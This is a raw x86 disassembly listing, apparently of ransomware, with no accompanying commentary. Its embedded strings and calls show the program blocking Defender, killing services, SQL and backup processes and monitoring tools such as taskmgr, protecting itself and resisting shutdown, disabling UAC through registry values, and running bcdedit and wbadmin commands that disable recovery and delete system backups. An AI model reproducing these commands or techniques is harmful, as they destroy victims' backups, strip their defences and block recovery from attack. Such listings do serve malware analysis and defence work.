mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x26
mov edi, dword [0x5f00d8]
mov esi, dword [edi]
cmp esi, edi
je 0x462e40
nop
mov dword [ebp - 0x54], ebx
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 8
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x330], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc00
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x462dbf
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 1
push 0x5d77c8
lea ecx, [ebp - 0x34]
call fcn.0044fc90
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x50]
push eax
call fcn.0044fc90
mov ebx, dword [ebp - 0x54]
mov byte [ebp - 4], 0x26
and ebx, 0xfffffff7
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x462e33
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462e29
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464598
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x462d80
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Kill_proc:_________s
call fcn.004612c0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x462e96
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462e8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x28
mov edi, dword [0x5f00c8]
mov esi, dword [edi]
cmp esi, edi
je 0x462f80
nop
mov dword [ebp - 0x54], ebx
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 0x10
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x330], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc00
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x462eff
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 1
push 0x5d77c8
lea ecx, [ebp - 0x34]
call fcn.0044fc90
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x50]
push eax
call fcn.0044fc90
mov ebx, dword [ebp - 0x54]
mov byte [ebp - 4], 0x28
and ebx, 0xffffffef
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x462f73
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462f69
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464598
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x462ec0
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Kill_service:______s
call fcn.004612c0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x462fd6
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x462fcc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
push 0x5f0280
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp byte [0x5ef79c], 0
je 0x463020
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.hashlist.txt
mov word [ecx], ax
call fcn.0044a890
mov ecx, 1
call fcn.0045d130
add esp, 0x18
call fcn.0045d2c0
cmp byte [0x5ef783], 0
je 0x4630bb
push str.___Block_defender...
call fcn.004612c0
add esp, 4
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], 7
lea ecx, [ebp - 0x50]
mov word [ebp - 0x50], ax
push 0x14
push str.cmd.exe__c_DC.exe__D
call fcn.0044a890
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 8
push 0x2710
cmovae ecx, dword [ebp - 0x50]
xor edx, edx
push 0
call fcn.0046c380
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x4630bb
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4630b1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
push str.SYSTEMDRIVE
call fcn.0054f4b6
mov edx, eax
mov dword [ebp - 0xd0], 0
mov ecx, edx
mov dword [ebp - 0xcc], 7
add esp, 4
xor eax, eax
mov word [ebp - 0xe0], ax
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4630f0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xe0]
call fcn.0044a890
sub esp, 0x18
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0xe0]
mov ecx, esp
push eax
call fcn.0044c0c0
call fcn.00470ea0
push str.___Establishing_IPC_connection...
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x54], 0
call fcn.004612c0
mov ebx, 1
add esp, 0x1c
mov esi, ebx
lock xadd dword [0x5f0228], esi
inc esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
dec esi
push 0
push 0
push esi
push 0x45a640
push 0
push 0
call edi
mov dword [esi*4 + 0x5f0220], eax
lock xadd dword [0x5f0228], ebx
inc ebx
push 0
push 0
dec ebx
push ebx
push 0x45a640
push 0
push 0
call edi
push 0x1f4
mov dword [ebx*4 + 0x5f0220], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.___Run_Watcher...
mov byte [ebp - 4], 0x2c
call fcn.004612c0
add esp, 4
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x34]
mov word [ebp - 0x34], ax
push 1
push 0x5d6db8
call fcn.0044a890
mov ecx, 0x5efbd0
mov byte [ebp - 4], 0x2d
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4631e0
sub ecx, edx
sar ecx, 1
push ecx
push 0x5efbd0
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 2
push 0x5d6dbc
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 0xe
push str._e_watch__pid
lea ecx, [ebp - 0x34]
call fcn.0044fc90
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea esi, [ebp - 0x9e]
nop dword [eax]
mov eax, 0xcccccccd
sub esi, 2
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
add ecx, 0x30
mov word [esi], cx
mov ecx, edx
test ecx, ecx
jne 0x463230
xor eax, eax
mov dword [ebp - 0x40], ecx
mov word [ebp - 0x50], ax
mov edx, 7
lea eax, [ebp - 0x9e]
mov dword [ebp - 0x3c], edx
cmp esi, eax
je 0x46327f
sub eax, esi
lea ecx, [ebp - 0x50]
sar eax, 1
push eax
push esi
call fcn.0044a890
mov edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
cmp edx, 8
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.0044fc90
mov byte [ebp - 4], 0x2d
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x4632d5
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4632cb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
push 4
push 0x5d7a10
lea ecx, [ebp - 0x34]
call fcn.0044fc90
mov esi, dword [ebp - 0x38]
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4632f0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x34]
call fcn.0044fc90
xor eax, eax
lea ecx, [ebp - 0x34]
cmp byte [0x5ef79b], al
mov esi, 6
push 0x2710
cmovne eax, esi
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046c380
mov byte [ebp - 4], 0x2c
add esp, 8
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x463395
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46336a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
jmp 0x463395
mov dword [ebp - 4], 0x2b
push str.___Unlocker1...
mov byte [ebp - 4], 0x30
call fcn.004612c0
add esp, 4
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x34]
mov word [ebp - 0x34], ax
push 1
push 0x5d6db8
call fcn.0044a890
mov ecx, 0x5efbd0
mov byte [ebp - 4], 0x31
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4633e0
sub ecx, edx
sar ecx, 1
push ecx
push 0x5efbd0
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 2
push 0x5d6dbc
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 6
push str._e_ul1
lea ecx, [ebp - 0x34]
call fcn.0044fc90
xor eax, eax
lea ecx, [ebp - 0x34]
cmp byte [0x5ef79b], al
push 0x2710
cmovne eax, esi
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046c380
mov byte [ebp - 4], 0x30
add esp, 8
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x334], eax
cmp edx, 8
jb 0x4634a8
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46347d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
jmp 0x4634a8
mov dword [ebp - 4], 0x2b
push str.___Unlocker2...
mov byte [ebp - 4], 0x33
call fcn.004612c0
add esp, 4
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x34]
mov word [ebp - 0x34], ax
push 1
push 0x5d6db8
call fcn.0044a890
mov ecx, 0x5efbd0
mov byte [ebp - 4], 0x34
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4634f0
sub ecx, edx
sar ecx, 1
push ecx
push 0x5efbd0
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 2
push 0x5d6dbc
lea ecx, [ebp - 0x34]
call fcn.0044fc90
push 6
push str._e_ul2
lea ecx, [ebp - 0x34]
call fcn.0044fc90
xor eax, eax
lea ecx, [ebp - 0x34]
cmp byte [0x5ef79b], al
push 0x2710
cmovne eax, esi
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046c380
mov byte [ebp - 4], 0x33
add esp, 8
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x54], eax
cmp edx, 8
jb 0x463594
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46358a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4645b6
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov dword [ebp - 4], 0x2b
cmp byte [0x5ef786], 0
jne 0x4635db
mov eax, dword [0x5e99f0]
cmp eax, 0xc
je 0x4635db
cmp eax, 0xd
je 0x4635db
mov byte [ebp - 4], 0x36
cmp byte [0x5ef9ba], 0
je 0x4635d4
push str.___Everything_Setup...
call fcn.004612c0
add esp, 4
xor cl, cl
call fcn.00471da0
mov dword [ebp - 4], 0x2b
push str.___Get_Whitelist...
mov byte [ebp - 4], 0x38
call fcn.004612c0
add esp, 4
call fcn.0046c1e0
mov dword [ebp - 4], 0x2b
cmp byte [0x5ef9c4], 0
mov dword [ebp - 0x100], 0
je 0x463618
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
xorps xmm0, xmm0
lea ecx, [ebp - 0x7c]
push 0x5f00c8
movlpd qword [ebp - 0x7c], xmm0
call fcn.00465250
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x3a
call fcn.0046df10
push str.___Kill_System_Services__telemetry__booster__etc_...
mov byte [ebp - 4], 0x3b
call fcn.004612c0
add esp, 4
push ecx
mov ecx, str.WSearch
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, 0x5d7c64
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.DusmSvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.defragsvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.DoSvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.wercplsupport
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.SDRSVC
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.TroubleshootingSvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.Wecsvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.fhsvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.wbengine
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.PcaSvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.WerSvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.SENS
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.AppIDSvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.BITS
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.wuauserv
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.SysMain
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.DiagTrack
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.diagnosticshub.standardcollector.service
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.dmwappushservice
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.WMPNetworkSvc
call fcn.0046b7f0
add esp, 4
push ecx
mov ecx, str.DiagTrack
call fcn.0046b7f0
add esp, 4
push str.___Kill_Services_list__no_wait_...
call fcn.004612c0
add esp, 4
lea ecx, [ebp - 0x7c]
xor dl, dl
push 1
call fcn.0046b930
add esp, 4
push str.___Kill_Services_list__wait_...
call fcn.004612c0
add esp, 4
lea ecx, [ebp - 0x7c]
mov dl, 1
push 1
call fcn.0046b930
add esp, 4
cmp byte [0x5ef786], 0
jne 0x4637f4
mov eax, dword [0x5e99f0]
cmp eax, 0xc
je 0x4637f4
cmp eax, 0xd
je 0x4637f4
push str.___Wait_10_sec...
call fcn.004612c0
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
mov dword [ebp - 4], 0x3a
push 0x5f00d8
lea ecx, [ebp - 0x84]
movlpd qword [ebp - 0x84], xmm0
call fcn.00465250
push str.___Kill_process_list...
mov byte [ebp - 4], 0x3e
call fcn.004612c0
add esp, 4
lea ecx, [ebp - 0x84]
mov dl, 1
push 0
push 1
call fcn.0046bf30
add esp, 8
push str.___Kill_process_telemetry...
call fcn.004612c0
add esp, 4
xor dl, dl
mov ecx, str.SearchIndexer.exe
push 1
push 1
call fcn.0046bde0
add esp, 8
xor dl, dl
mov ecx, str.SearchProtocolHost.exe
push 1
push 1
call fcn.0046bde0
add esp, 8
xor dl, dl
mov ecx, str.SearchApp.exe
push 1
push 1
call fcn.0046bde0
add esp, 8
xor dl, dl
mov ecx, str.CompatTelRunner.exe
push 1
push 1
call fcn.0046bde0
add esp, 8
xor dl, dl
mov ecx, str.wsqmcons.exe
push 1
push 1
call fcn.0046bde0
add esp, 8
push str.___Kill_process_with_high_RAM...
call fcn.004612c0
mov eax, dword [0x5ef750]
add esp, 4
shl eax, 0x14
mov dword [ebp - 0xfc], eax
or eax, 0
je 0x463a3d
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x330], edi
test edi, edi
je 0x463a3d
lea eax, [ebp - 0x32c]
mov dword [ebp - 0x32c], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4639cc
nop dword [eax + eax]
push dword [ebp - 0x324]
push 0
push 0x100411
call ebx
mov esi, eax
test esi, esi
je 0x4639b6
push 0x2c
lea eax, [ebp - 0xc8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x4639af
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0xbc], eax
jbe 0x4639af
push dword [ebp - 0x324]
mov dword [ebp - 0x38], 1
push 0
push 0x400
call ebx
mov edi, eax
test edi, edi
je 0x463986
mov eax, dword [0x5ef7ac]
test eax, eax
je 0x46397f
lea ecx, [ebp - 0x58]
push ecx
push 4
lea ecx, [ebp - 0x38]
push ecx
push 0x1d
push edi
call eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x38], 0
jne 0x4639a9
lea eax, [ebp - 0x308]
push eax
push str.___Process__high_RAM_:__s
call fcn.004612c0
add esp, 8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, dword [ebp - 0x330]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x32c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x463910
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x463a43
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.___Kill_process_backup__sql...
call fcn.004612c0
add esp, 4
xorps xmm0, xmm0
movlpd qword [ebp - 0x5c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
push 0
push 0
call fcn.0044b220
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x3f
call fcn.0046db70
push 0
push 0
mov dl, 1
lea ecx, [ebp - 0x5c]
call fcn.0046bf30
add esp, 8
cmp byte [0x5ef786], 0
jne 0x463abf
mov eax, dword [0x5e99f0]
cmp eax, 0xc
je 0x463abf
cmp eax, 0xd
je 0x463abf
push str.___Wait_10_sec...
call fcn.004612c0
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x5c]
call fcn.0044aba0
push 0x20
push dword [ebp - 0x5c]
call fcn.0052cac7
add esp, 8
mov dword [ebp - 4], 0x3d
jmp 0x463b04
push str.___Anti_Kill...
mov byte [ebp - 4], 0x41
call fcn.004612c0
add esp, 4
mov dl, 1
mov ecx, str.taskmgr.exe
push 0
push 1
call fcn.0046bde0
add esp, 8
mov dl, 1
mov ecx, str.tasklist.exe
push 0
push 1
call fcn.0046bde0
add esp, 8
mov dl, 1
mov ecx, str.taskkill.exe
push 0
push 1
call fcn.0046bde0
add esp, 8
mov dl, 1
mov ecx, str.perfmon.exe
push 0
push 1
call fcn.0046bde0
add esp, 8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov dword [ebp - 4], 0x3d
jmp 0x463b9b
cmp byte [0x5ef799], 0
je 0x463bd9
push str.___Self_Protect...
call fcn.004612c0
mov esi, dword [0x5ef9bc]
add esp, 4
test esi, esi
je 0x463bd9
push 4
lea eax, [ebp - 0xfc]
mov dword [ebp - 0xfc], 1
push eax
push 0x1d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push str.___Anti_Shutdown...
mov byte [ebp - 4], 0x43
call fcn.004612c0
add esp, 4
call fcn.00467ce0
mov dword [ebp - 4], 0x3d
jmp 0x463c1f
push str.___Long_Path_support...
call fcn.004612c0
add esp, 4
mov dword [ebp - 0xfc], 1
lea eax, [ebp - 0x38]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlFileSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x463c87
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.LongPathsEnabled
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x38]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
jmp 0x463c8d
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.___Kill_Telemetry_policy...
call fcn.004612c0
add esp, 4
mov dword [ebp - 0xfc], 0
lea eax, [ebp - 0x38]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesDataCollection
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x463ce7
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.AllowTelemetry
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x38]
call edi
push str.___UAC...
call fcn.004612c0
add esp, 4
mov dword [ebp - 0xfc], 0
lea eax, [ebp - 0x38]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x463d41
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x38]
call edi
push 0
lea eax, [ebp - 0x38]
mov dword [ebp - 0xfc], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x463d8e
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.ConsentPromptBehaviorUser
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x38]
call edi
push 0
lea eax, [ebp - 0x38]
mov dword [ebp - 0xfc], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x463ddb
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x38]
call edi
push 0
lea eax, [ebp - 0x38]
mov dword [ebp - 0xfc], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x463e28
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.EnableLUA
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x38]
call edi
push str.Remove_command_line_restrictions...
call fcn.004612c0
sub esp, 0x14
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x58], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.DisableCMD
mov word [ecx], ax
call fcn.0044a890
sub esp, 0x18
mov byte [ebp - 4], 0x45
mov ecx, esp
xor eax, eax
push 0x2a
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.SoftwarePoliciesMicrosoftWindowsSystem
mov word [ecx], ax
call fcn.0044a890
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x3d
call fcn.00467be0
add esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x58], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.DisableCMD
mov word [ecx], ax
call fcn.0044a890
sub esp, 0x18
mov byte [ebp - 4], 0x46
mov ecx, esp
xor eax, eax
push str.SoftwarePoliciesMicrosoftWindowsSystem
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
call fcn.0044a860
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 4], 0x3d
call fcn.00467be0
push str.Unmount_virtual_drives_and_images...
call fcn.004612c0
add esp, 0x34
call fcn.004737b0
cmp byte [0x5ef79f], 0
je 0x463f14
call fcn.00472d90
neg al
sbb al, al
and byte [0x5ef79f], al
mov byte [0x5ef785], 0
call fcn.00464de0
sub esp, 0x18
mov ecx, esp
push 0x5e9c08
call fcn.0044c0c0
call fcn.0045a740
add esp, 0x18
cmp byte [0x5ef786], 0
je 0x463f9f
call fcn.004732e0
call fcn.0045da40
push str.___Wait_10_sec...
call fcn.004612c0
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00465100
lea ecx, [ebp - 0x84]
call fcn.00449420
lea ecx, [ebp - 0x7c]
call fcn.00449420
lea ecx, [ebp - 0xe0]
call fcn.00449470
lea ecx, [ebp - 0x74]
call fcn.00449470
lea ecx, [ebp - 0x9c]
call fcn.00449470
xor eax, eax
jmp 0x461dcb
push str.____Repeat_scan_once_more...
call fcn.004612c0
push str.___Clear_Backup...
call fcn.004612c0
add esp, 8
push 0
push 0
push 0
push 0x459190
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x463fdd
push 0x1388
push eax
call esi
push 0x2710
push 0
xor edx, edx
mov ecx, str.bcdedit.exe__set_default_bootstatuspolicy_ignoreallfailures
call fcn.0046c380
push 0x2710
push 0
xor edx, edx
mov ecx, str.bcdedit.exe__set_default_recoveryenabled_no
call fcn.0046c380
push 0x2710
push 0
xor edx, edx
mov ecx, str.wbadmin.exe_DELETE_SYSTEMSTATEBACKUP
call fcn.0046c380
push 0x2710
push 0
xor edx, edx
mov ecx, str.wbadmin.exe_delete_catalog__quiet
call fcn.0046c380
add esp, 0x20
cmp byte [0x5ef9ba], 0
je 0x464098
push str.___Loading_hidden_partitions...
call fcn.004612c0
add esp, 4
push 0
push 0
push 0
push 0x458450
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x464063
push 0x2710
push eax
call esi
cmp byte [0x5ef9ba], 0
je 0x464098
cmp byte [0x5ef79f], 0
je 0x464098
push str.___Everything_Setup...
call fcn.004612c0
add esp, 4
mov cl, 1
call fcn.00471da0
call fcn.00472d90
neg al
sbb al, al
and byte [0x5ef79f], al
push str.___Waiting_unlocker...
call fcn.004612c0
mov eax, dword [ebp - 0x334]
add esp, 4
test eax, eax
je 0x4640bc
push eax
push 0
push 0x100000
call ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x4640d0
push eax
push 0
push 0x100000
call ebx
mov dword [ebp - 0x18], eax
push 0x15f90
push 1
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
